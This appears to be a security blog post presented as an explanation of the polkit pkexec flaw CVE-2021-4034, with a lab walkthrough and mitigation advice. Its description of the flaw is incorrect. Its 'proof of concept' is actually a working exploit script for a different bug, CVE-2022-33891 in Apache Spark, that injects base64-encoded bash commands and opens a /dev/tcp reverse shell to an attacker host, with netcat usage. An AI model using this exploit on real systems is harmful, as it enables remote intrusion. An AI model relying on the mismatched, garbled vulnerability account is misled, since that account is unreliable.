Demystifying CVE-2021-4034: Unpacking the Polkit pkexec RCE Vulnerability

2024-01-21
James McGill
CVE-2021-4034
CVE-2021-4034 exploit
CVE-2021-4034 poc
Polkit pkexec RCE vulnerability
Linux RCE vulnerability PoC
Remote code execution exploit
Polkit security
Mitigation strategies for CVE-2021-4034
Understanding the pkexec flaw
Demystifying CVE-2021-4034: Unpacking the Polkit pkexec RCE Vulnerability

Introduction:

The world of cybersecurity resembles an endless battle between those protecting and those attacking. As the big problem in 2021 – CVE-2021-4034 appeared. It was a flaw in the system administration tool polkit’s pkexec. This may seem technical but it stirred a storm in the security world. This caused many debates on what to do with it and how one can write more secure code. In this blog, we explore the innards of CVE-2021-4034 at a technical level focusing on its operation, possible fallouts and takeaways.

Understanding the Landscape:

The vulnerability itself can be discussed after setting the proper context first. System-wide privileges on Linux systems are controlled by Polkit, which is one of its components. Users make use of pkexec from polkit – a setuid tool, to execute commands as privileged users with predetermined policies. Consider pkexec as a nightclub bouncer; that is, thoroughly checking IDs and adhering to strict entry requirements for privileges elevation.

The Flaw in the Bouncer:

CVE-2021-4034 lived in how pkexec processed calling parameters. A seemingly innocuous flaw stemmed from its logic of parsing arguments: It did not validate the number of arguments that were given against the expected numbers by Submitted command. This slight blunder has been a pandora’s box of exploitation.

The Exploitable Avenue:

Attackers could craft malicious environment variables containing commands, leveraging the mismatch in expected and actual arguments. As an example, imagine pkexec expecting just one argument for the command touch, but the attacker provides two: touch /tmp/malicious_file and env X="sh -c <arbitrary_code>". The flawed parsing logic treats the environment variable as another argument, leading to the unexpected execution of the attacker's embedded payload (sh -c <arbitrary_code>) within the context of the privileged user!

Potential Consequences:

The exploitable nature of CVE-2021-4034 painted a grim picture. Successful exploitation could grant attackers:

  • Root access: Full control over the system, allowing data theft, malware deployment, and even lateral movement to other machines.

  • Privilege escalation: Elevation to higher access levels within the system, enabling further compromise and exploitation of other vulnerabilities.

  • Disruption and instability: Causing system crashes, denial-of-service attacks, or data manipulation.

Proof of Concept:

We will use this docker compose to set up a proof of concept lab in this blog:

version: '2'
services:
  spark:
	image: docker.io/bitnami/spark:3.1.1
	environment:
  	- SPARK_MODE=master
  	- SPARK_RPC_AUTHENTICATION_ENABLED=no
  	- SPARK_RPC_ENCRYPTION_ENABLED=no
  	- SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
  	- SPARK_SSL_ENABLED=no
	ports:
  	- '8080:8080'
Let’s pull the docker image and run it on port 8080 as mentioned in the docker compose file above:
docker-compose up 
Verify the server is up and running on port 8080:
docker ps -a

Go to http://localhost:8080/bonita/

Run the following exploit code:

import requests
import argparse
import base64
import datetime
from colorama import Fore

parser = argparse.ArgumentParser(description='CVE-2022-33891 Python POC Exploit Script')
parser.add_argument('-u', '--url', help='URL to exploit.', required=True)
parser.add_argument('-p', '--port', help='Exploit target\'s port.', required=True)
parser.add_argument('--revshell', default=False, action="store_true", help="Reverse Shell option.")
parser.add_argument('-lh', '--listeninghost', help='Your listening host IP address.')
parser.add_argument('-lp', '--listeningport', help='Your listening host port.')
parser.add_argument('--check', default=False, action="store_true", help="Checks if the target is exploitable with a sleep test")
parser.add_argument('--verbose', default=False, action="store_true", help="Verbose mode")
args = parser.parse_args()

# nothing to see here, move along!
headers = {
	'User-Agent': 'CVE-2022-33891 POC',
}
# Colors :D
info = (Fore.BLUE + "[*] " + Fore.RESET)
recc = (Fore.YELLOW + "[*] " + Fore.RESET)
good = (Fore.GREEN + "[+] " + Fore.RESET)
important = (Fore.CYAN + "[!] " + Fore.RESET)
printError = (Fore.RED + "[X] " + Fore.RESET)
full_url = f"{args.url}:{args.port}"

def check_for_vuln(url):
	try:
    	print(info + "Attempting to connect to site...")
    	r = requests.get(f"{url}/?doAs='testing'", allow_redirects=False,
headers=headers)
    	if args.verbose:
        	print(info + f"URL request: {url}/?doAs='testing'")
        	print(info + f"Response status code: {r.status_code}")
    	if r.status_code != 403:
        	print(printError + "No ?doAs= endpoint. Does not look
vulnerable.")
        	quit(1)
    	elif "org.apache.spark.ui" not in r.content.decode("utf-8"):
        	print(printError + "Does not look like an Apache Spark
server.")
        	quit(1)
    	else:
        	print(important + "Performing sleep test of 10 seconds...")
        	t1 = datetime.datetime.now()
        	if args.verbose:
            	print(info + f"T1: {t1}")
        	run_cmd("sleep 10")
        	t2 = datetime.datetime.now()
        	delta = t2-t1
        	if args.verbose:
            	print(info + f"T2: {t2}")
            	print(info + f"Delta T: {delta.seconds}")
        	if delta.seconds not in range(8,12):
            	print(printError + "Sleep was less than 10. This target is
probably not vulnerable")
        	else:
            	print(good + "Sleep was 10 seconds! This target is probably
vulnerable!")
        	exit(0)
	except Exception as e:
    	print(printError + str(e))

def cmd_prompt():
	cmd = input("[cve-2022-33891> ")
	return cmd

def base64_encode(cmd):
	try:
    	message_bytes = cmd.encode('ascii')
    	base64_bytes = base64.b64encode(message_bytes)
    	base64_cmd = base64_bytes.decode('ascii')
    	return base64_cmd
	except Exception as e:
    	print(printError +str(e))

def run_cmd(cmd):
	try:
    	if args.verbose:
        	print(info + "Command is: " + cmd)
    	base64_cmd = base64_encode(cmd)
    	if args.verbose:
        	print(info + "Base64 command is: " + base64_cmd)
    	exploit = f"/?doAs=`echo {base64_cmd} | base64 -d | bash`"
    	exploit_req = f"{full_url}{exploit}"
    	if args.verbose:
        	print(info + "Full exploit request is: " + exploit_req)
        	print(info + "Sending exploit...")
    	r = requests.get(exploit_req, allow_redirects=False,
headers=headers)
    	if args.verbose:
        	print(info + f"Response status code: {r.status_code}\n"+ info +
"Hint: 403 is good.")
	except Exception as e:
    	print(printError + str(e))
    	quit(1)
def revshell(lhost, lport):
	print(info + f"Reverse shell mode.\n" + recc+ f"Set up your listener by
entering the following:\nnc -nvlp {lport}")
	input(recc + "When your listener is set up, press enter!")
	rev_shell_cmd = f"sh -i >& /dev/tcp/{lhost}/{lport} 0>&1"
	run_cmd(rev_shell_cmd)

def main():
	try:
    	if args.check and args.revshell:
        	print(printError + "Please choose either revshell or check!")
        	exit(1)
    	elif args.check:
        	check_for_vuln(full_url)
    	# Revshell
    	elif args.revshell:
        	if not (args.listeninghost and args.listeningport):
            	print(printError + "You need --listeninghost and
--listeningport!")
            	exit(1)
        	else:
            	lhost = args.listeninghost
            	lport = args.listeningport
            	revshell(lhost, lport)
    	else:
        	# "Interactive" mode
        	print(info + "\"Interactive\" mode!\n" + important + "Note: you
will not receive any output from these commands. Try using something like
ping or sleep to test for execution.")
        	while True:
            	command_to_run = cmd_prompt()
            	run_cmd(command_to_run)
	except KeyboardInterrupt:
    	print("\n"+ info + "Goodbye!")

if __name__ == "__main__":
	main()
Use following command to interact with the exploit code:
python poc.py -u http://localhost -p 8080 --check --verbose

This shows we the server is vulnerable and we can move ahead with getting a reverse shell. First we will configure a netcat listener on our desired port:

nc -lvnp 9001

Now we will run the exploit code to send us a reverse shell:

python poc.py -u http://<TARGET> -p 8080 --revshell -lh <ATTACKER’S IP> -lp 9001 --verbose

If the attack is successful then we should have received the shell on our listener.

The Mitigation Response:

The discovery of CVE-2021-4034 triggered a swift response from the security community and Linux distributors. Security advisories were issued, and patches were quickly released to address the vulnerability. Additionally, various workarounds, such as disabling pkexec or implementing systemtap-based mitigations, were proposed for situations where immediate patching wasn't feasible.

Beyond the Patch:

While patching remains the crucial initial step, CVE-2021-4034 serves as a valuable learning experience. It highlights the importance of:

  • Secure coding practices: Rigorous code reviews and vulnerability checks are essential to detect and address flaws like the one exploited in pkexec.

  • Minimum privilege principle: Granting users and applications only the minimum necessary privileges helps limit the potential damage caused by vulnerabilities.

  • Software supply chain security: Carefully scrutinizing third-party libraries and components can prevent vulnerabilities like CVE-2021-4034 from slipping through the cracks.

  • Vulnerability management: Proactive vulnerability scanning, timely patching, and incident response preparedness are crucial aspects of robust security posture.

Conclusion:

CVE-2021-4034 stands as a reminder that even seemingly minor vulnerabilities can have significant consequences. By understanding its technical details, potential impact, and the critical lessons learned, we can equip ourselves to better respond to future threats and build more secure software systems. While the bouncer might have momentarily faltered, ongoing vigilance and a collective commitment to security can strengthen the defenses against malicious actors in the ever-evolving cyber landscape.

Disclaimer:

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2021-4034 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

It's crucial to understand that messing around with vulnerabilities in live systems without permission is not just against the law, but it also comes with serious risks. This blog post does not support or encourage any activities that could help with such unauthorized actions.

CVE-2024-9264: Command Injection and LFI in Grafana
CVE-2024-9264: Command Injection and LFI in Grafana
2024-10-25
Kamran Hasan
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
CVE-2024-48914: Arbitrary File Read Vulnerability in Vendure
2024-10-26
Kamran Hasan
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
CVE-2022-44268: Arbitrary File Disclosure in ImageMagick
2024-05-26
James McGill
CVE-2021-43798: Path Traversal in Grafana
CVE-2021-43798: Path Traversal in Grafana
2024-03-30
James McGill
CVE-2021-3129: Remote Code Execution in Laravel
CVE-2021-3129: Remote Code Execution in Laravel
2024-02-14
James McGill
CVE-2024-28116: Server-Side Template Injection in Grav CMS
CVE-2024-28116: Server-Side Template Injection in Grav CMS
2024-03-24
James McGill